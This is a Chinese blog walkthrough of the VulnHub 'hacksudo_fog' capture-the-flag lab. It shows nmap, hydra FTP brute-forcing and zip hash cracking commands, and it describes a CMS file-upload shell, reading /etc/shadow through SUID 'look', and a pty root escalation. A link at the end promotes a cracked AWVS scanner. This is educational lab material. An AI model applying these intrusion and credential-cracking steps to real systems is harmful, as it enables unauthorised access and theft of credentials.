Vulnhub_hacksudo_fog


主机信息

kali: 192.168.1.11
hacksudo_fog: 192.1.12 

信息收集

使用nmap扫描目标主机IP发现开放以下端口

nmap -T4 -A -v -p- 192.168.1.12


扫描结果
PORT      STATE SERVICE   VERSION
21/tcp    open  ftp       Pure-FTPd
22/tcp    open  ssh       OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 62:ce:1b:7d:4e:24:0f:8a:c1:c9:ea:c4:1e:21:a7:f3 (RSA)
|   256 92:04:5a:0a:86:62:b3:ba:00:f3:82:6a:c9:8d:ae:6d (ECDSA)
|_  256 74:c5:7c:9f:8d:06:ee:0c:54:5e:65:b2:30:42:98:49 (ED25519)
80/tcp    open  http      Apache httpd 2.4.38 ((Debian))
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Hacksudo FOG
111/tcp   open  rpcbind   2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      34421/udp   mountd
|   100005  1,2,3      38404/udp6  mountd
|   100005  1,2,3      52863/tcp   mountd
|   100005  1,2,3      55211/tcp6  mountd
|   100021  1,3,4      34387/udp6  nlockmgr
|   100021  1,3,4      41339/tcp   nlockmgr
|   100021  1,3,4      44113/tcp6  nlockmgr
|   100021  1,3,4      59300/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
443/tcp   open  ssl/https Apache/2.4.38 (Debian)
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Hacksudo FOG
2049/tcp  open  nfs_acl   3 (RPC #100227)
3306/tcp  open  mysql     MySQL 5.5.5-10.3.27-MariaDB-0+deb10u1
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.3.27-MariaDB-0+deb10u1
|   Thread ID: 92
|   Capabilities flags: 63486
|   Some Capabilities: IgnoreSigpipes, Speaks41ProtocolOld, SupportsTransactions, Support41Auth, LongColumnFlag, ODBCClient, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, FoundRows, SupportsLoadDataLocal, ConnectWithDatabase, InteractiveClient, DontAllowDatabaseTableColumn, SupportsCompression, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: Og7y~/kN&o}K:":>hq!L
|_  Auth Plugin Name: mysql_native_password
37831/tcp open  mountd    1-3 (RPC #100005)
41339/tcp open  nlockmgr  1-4 (RPC #100021)
52863/tcp open  mountd    1-3 (RPC #100005)
57297/tcp open  mountd    1-3 (RPC #100005)
MAC Address: 08:00:27:D4:86:10 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Uptime guess: 1.791 days (since Thu May 20 07:26:56 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


TRACEROUTE
HOP RTT     ADDRESS
1   0.47 ms hacksudo (192.168.1.12)

打开网站发现就一个标题

查看网页源码发现有一个提示FOG TEAM click here

查看index1.html文件发现了一些提示

将提示中的文件下载下来,发现是一个从音频文件提取信息的工具

git clone https://github.com/hacksudo/SoundStegno.git


然后将收集到的信息写入到user文件中

通过目录扫描得到了一个cms的目录,和一个dict.txt的字典文件

dirb http://192.168.1.12 /usr/share/wordlists/dirb/big.txt


打开之后看到是一个CMS Made Simple 2.2.5搭建的

访问dict.txt发现为一个字典文件

下载字典文件到本地

wget http://192.168.1.12/dict.txt


通过爆破得到一个ftp的用户名和密码

hydra -L user -P /root/vulnhub/hacksudo_fog/dict.txt 192.168.1.12 ftp


登录ftp将第一个flag下载到本地

ftp> open 192.168.1.12
Connected to 192.168.1.12.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 17 of 50 allowed.
220-Local time is now 03:42. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Name (192.168.1.12:root): hacksudo
331 User hacksudo OK. Password required
Password:
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful
150 Connecting to port 37463
-rw-r--r--    1 33         33                389 May  7 03:34 flag1.txt
drwxr-xr-x    2 0          0                4096 May  6 13:57 hacksudo_ISRO_bak
226-Options: -l 
226 2 matches total
ftp> ls -lha
200 PORT command successful
150 Connecting to port 39857
drwxr-xr-x    3 1002       ftpgroup         4096 May  7 03:34 .
drwxr-xr-x    3 1002       ftpgroup         4096 May  7 03:34 ..
-rw-r--r--    1 33         33                389 May  7 03:34 flag1.txt
drwxr-xr-x    2 0          0                4096 May  6 13:57 hacksudo_ISRO_bak
226-Options: -a -l 
226 4 matches total
ftp> get flag1.txt
local: flag1.txt remote: flag1.txt
200 PORT command successful
150 Connecting to port 49337
226-File successfully transferred
226 0.011 seconds (measured here), 35.61 Kbytes per second
389 bytes received in 0.01 secs (35.9227 kB/s)


查看第一个flag文件

进入hacksudo_ISRO_bak目录发现还存在3个文件,将这三个文件下载到本地

查看author.txt发现是作者的一些信息

查看installfog为空文件

解压secr3tSteg.zip需要密码

然后我们用zip2jhon爆出文件的hash

zip2john secr3tSteg.zip >> hash.txt


然后使用john计算hash得到密码

john hash.txt


解压后得到两个文件

查看secr3t.txt内容

还有一个wav文件需要用到最初index1.txt中提到的工具提取信息

python3 ExWave.py -f ../hacksudo_ISRO_bak/hacksudoSTEGNO.wav


根据index1.html提示信息上面从音频中提取的信息使用了caesar-cipher加密

对提取到的信息进行解密得到一个用户名密码

Username=fog:password=hacksudoISRO



经过尝试之后该密码为cms的后台账号密码

GETSHELL

通过搜索发现该CMS有有一个文件上传后的解析漏洞,可以上传phtml进行执行

访问之后反弹会来一个www-data权限的shell

使用python获取一个交互式shell

进入fogDBbackups目录后发现存在一个sql文件,但没有什么用处

然后我们下载一个检测脚本进行检测

经过检测找到了第二个flag

查看第二个flag

提权

继续查看发现了一个look具有SUID权限

通过查找发现可以使用look查看具有root权限的文件

使用root读取shadow文件

通过shadow文件得到isro用户的密码hash

通过计算得到isro的密码

连接到isro的ssh

查看user.txt文件

进入fog目录下发现一个fog文件,并且属主为root

执行后发现很像python,然后执行下面的代码得到root权限

import pty; pty.spawn("/bin/bash");


最后查看root目录下的flag

加入我的星球

下方查看历史文章

VulnHub之DC-1

VulnHub之DC-2

VulnHub之DC-3

VulnHub之DC-4

VulnHub之MuzzyBox

【工具分享】AWVS 12 汉化破解版

通达OA任意上传&文件包含漏洞复现

扫描二维码

获取更多精彩

NowSec

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值